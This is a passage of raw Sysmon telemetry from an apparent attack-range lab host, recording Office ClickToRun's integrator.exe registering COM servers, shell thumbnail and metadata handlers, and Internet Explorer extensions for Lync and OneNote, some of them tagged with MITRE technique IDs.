91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{807583E5-5146-11D5-A672-00B0D022E945}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLMF.DLL 13241300x800000000000000041869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{02BCC737-B171-4746-94C9-0D8A0B2C0089}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\IEAWSDC.DLL 13241300x800000000000000041868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{355822FC-86F1-4BE8-B5F0-A33736789641}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{AFE9E2F0-5BBA-4169-A33B-EE3727AC3482}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{35C5242B-7455-4F9C-962B-369EA43ED6F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{72B66649-3DBF-429F-BD6F-7774A9784B78}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{5383EF74-273B-4278-AB0C-CDAA9FD5369E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{01BE4CFB-129A-452B-A209-F9D40B3B84A5}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{33154C99-BF49-443D-A73C-303A23ABBE97}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{E3956DCF-D1C7-4375-AAAA-22FF8191C479}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{355822FC-86F1-4BE8-B5F0-A33736789641}Microsoft Word Thumbnail Handler 13241300x800000000000000041857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{AFE9E2F0-5BBA-4169-A33B-EE3727AC3482}Microsoft Visio Thumbnail Handler 13241300x800000000000000041856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{35C5242B-7455-4F9C-962B-369EA43ED6F3}Microsoft PowerPoint Thumbnail Handler 13241300x800000000000000041855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{72B66649-3DBF-429F-BD6F-7774A9784B78}Microsoft Excel Thumbnail Handler 13241300x800000000000000041854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}Microsoft Access Thumbnail Handler 13241300x800000000000000041853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155}Microsoft Word Metadata Handler 13241300x800000000000000041852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{5383EF74-273B-4278-AB0C-CDAA9FD5369E}Microsoft Visio Metadata Handler 13241300x800000000000000041851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{01BE4CFB-129A-452B-A209-F9D40B3B84A5}Microsoft PowerPoint Metadata Handler 13241300x800000000000000041850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{33154C99-BF49-443D-A73C-303A23ABBE97}Microsoft Excel Metadata Handler 13241300x800000000000000041849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{E3956DCF-D1C7-4375-AAAA-22FF8191C479}Microsoft Access Metadata Handler 13241300x800000000000000041848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{EFBD9A69-66AF-4D44-BB36-D477E5014216}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\OSFROAMINGPROXY.DLL 13241300x800000000000000041847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{5C615ED6-4F9F-48BE-8D84-17409196DE36}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\OSFPROXY.DLL 13241300x800000000000000041846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{83C25742-A9F7-49FB-9138-434302C88D07}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL 13241300x800000000000000041845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{42089D2D-912D-4018-9087-2B87803E93FB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL 13241300x800000000000000041844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{42089D2D-912D-4018-9087-2B87803E93FB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL 13241300x800000000000000041843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{5504BE45-A83B-4808-900A-3A5C36E7F77A}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL 13241300x800000000000000041842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\ButtonTextLync Click to Call 13241300x800000000000000041841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\NoExplorer1 13241300x800000000000000041840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\(Default)Lync Click to Call BHO 13241300x800000000000000041839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\Default VisibleYes 13241300x800000000000000041838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\ClsidExtension{31D09BA0-12F5-4CCE-BE8A-2923E76605DA} 13241300x800000000000000041837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\HotIconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\lync.exe,1 13241300x800000000000000041835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\IconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\lync.exe,1 13241300x800000000000000041834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\MenuTextLync Click to Call 13241300x800000000000000041833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\(Default)Lync Click to Call 13241300x800000000000000041832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\OCHelper.dll 18141800x800000000000000041831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.315{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.315{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ClsidExtension{FFFDC614-B694-4AE6-AB38-5D6374584B52} 13241300x800000000000000041829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\IconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIELinkedNotes.dll,103 13241300x800000000000000041827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\HotIconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIELinkedNotes.dll,103 13241300x800000000000000041826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ToolTipOneNote Linked Notes 13241300x800000000000000041825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\MenuTextOneNote Lin&ked Notes 13241300x800000000000000041824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ButtonTextOneNote Lin&ked Notes 13241300x800000000000000041823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\Default VisibleYes 13241300x800000000000000041822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{FFFDC614-B694-4AE6-AB38-5D6374584B52}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIELinkedNotes.dll 13241300x800000000000000041821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ClsidExtension{48E73304-E1D6-4330-914C-F5F514E3486C} 13241300x800000000000000041820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\IconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIE.dll,103 13241300x800000000000000041818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\HotIconC:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIE.dll,103 13241300x800000000000000041817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ToolTipSend to OneNote 13241300x800000000000000041816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\MenuTextSe&nd to OneNote 13241300x800000000000000041815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ButtonTextSend to OneNote 13241300x800000000000000041814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\Default VisibleYes 13241300x800000000000000041813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{48E73304-E1D6-4330-914C-F5F514E3486C}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\ONBttnIE.dll 13241300x800000000000000041812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{10336656-40D7-4530-BCC0-86CD3D77D25F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{68CED213-317D-3F27-9036-A33240DA522E}\InprocServer32\(Default)mscoree.dll 13241300x800000000000000041810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{1227B818-7298-3D68-AC55-DDDA56EE56E1}\InprocServer32\(Default)mscoree.dll 13241300x800000000000000041809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{07B06095-5687-4D13-9E32-12B4259C9813}\InprocServer32\(Default)mscoree.dll 13241300x800000000000000041808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{CDEC13B2-0B3C-400E-B909-E27EE89C6799}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{E18FEC31-2EA1-49A2-A7A6-902DC0D1FF05}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9800F18F-3D86-4744-A7D0-540989C86D7B}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{9800F18F-3D86-4744-A7D0-540989C86D7B}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3B0BD075-929C-4E52-AAD1-458C81A10B24}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 